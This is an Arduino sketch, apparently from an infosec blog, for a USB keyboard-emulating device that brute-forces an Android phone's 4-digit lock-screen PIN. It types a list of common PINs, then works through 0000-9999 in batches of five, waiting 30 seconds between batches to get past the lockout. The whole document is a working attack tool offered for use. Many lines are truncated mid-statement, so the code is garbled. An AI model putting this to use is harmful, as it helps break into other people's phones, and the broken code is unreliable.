/* Brute forcing Android 4 Digit PIN's To run the whole range it will take the 30 second delay after 5 bad inp Intrestingly, if the target phone h and the backup PIN set, the backup invalid attempts http://blog.infosecsee.com */ const int buttonPin = 2; / int previousButtonState = HIGH; / int counter = 0; / int check = 0; void setup() { pinMode(buttonPin, INPUT); Keyboard.begin(); } void loop() { int buttonState = digitalRead(but if ((buttonState != previousButton Mouse.move(25, 50, 0); String three = "000"; String two = "00"; String one = "0"; while(counter < 10000){ delay(1000); while (check < 1){ Keyboard.println("12 delay(500); Keyboard.println("11 delay(500); Keyboard.println("00 delay(500); Keyboard.println("12 delay(500); Keyboard.println("77 Keyboard.println("") Keyboard.println("") delay(30000); Mouse.move(25, 50, Keyboard.println("10 delay(500); Keyboard.println("20 delay(500); Keyboard.println("44 delay(500); Keyboard.println("22 delay(500); Keyboard.println("69 Keyboard.println("") Keyboard.println("") delay(30000); Mouse.move(25, 50, Mouse.move(25, 50, Keyboard.println("99 delay(500); Keyboard.println("33 delay(500); Keyboard.println("55 delay(500); Keyboard.println("66 delay(500); Keyboard.println("11 Keyboard.println("") Keyboard.println("") delay(30000); Mouse.move(25, 50, Keyboard.println("13 delay(500); Keyboard.println("88 delay(500); Keyboard.println("43 delay(500); Keyboard.println("20 delay(500); Keyboard.println("10 delay(500); Keyboard.println("") Keyboard.println("") delay(30000); Mouse.move(25, 50, check++;} if (counter < 10 && Keyboard.println(thr delay(500); counter++; Keyboard.println(thr delay(500); counter++; Keyboard.println(thr delay(500); counter++; Keyboard.println(thr delay(500); counter++; Keyboard.println(thr delay(500); Keyboard.println("") Keyboard.println("") delay(30000); Mouse.move(25, 50, } else if (counter < 100){ Keyboard.println(two delay(500); counter++; Keyboard.println(two delay(500); counter++; Keyboard.println(two delay(500); counter++; Keyboard.println(two delay(500); counter++; Keyboard.println(two delay(500); Keyboard.println("") Keyboard.println("") delay(30000); Mouse.move(25, 50, } else if (counter < 1000){ Keyboard.println(one delay(500); counter++; Keyboard.println(one delay(500); counter++; Keyboard.println(one delay(500); counter++; Keyboard.println(one delay(500); counter++; Keyboard.println(one delay(500); Keyboard.println("") Keyboard.println("") delay(30000); Mouse.move(25, 50, } else { Keyboard.println(cou delay(500); counter++; Keyboard.println(cou delay(500); counter++; Keyboard.println(cou delay(500); counter++; Keyboard.println(cou delay(500); counter++; Keyboard.println(cou delay(500); Keyboard.println("") Keyboard.println("") delay(30000); Mouse.move(25, 50, } } } previousButtonState = buttonState; }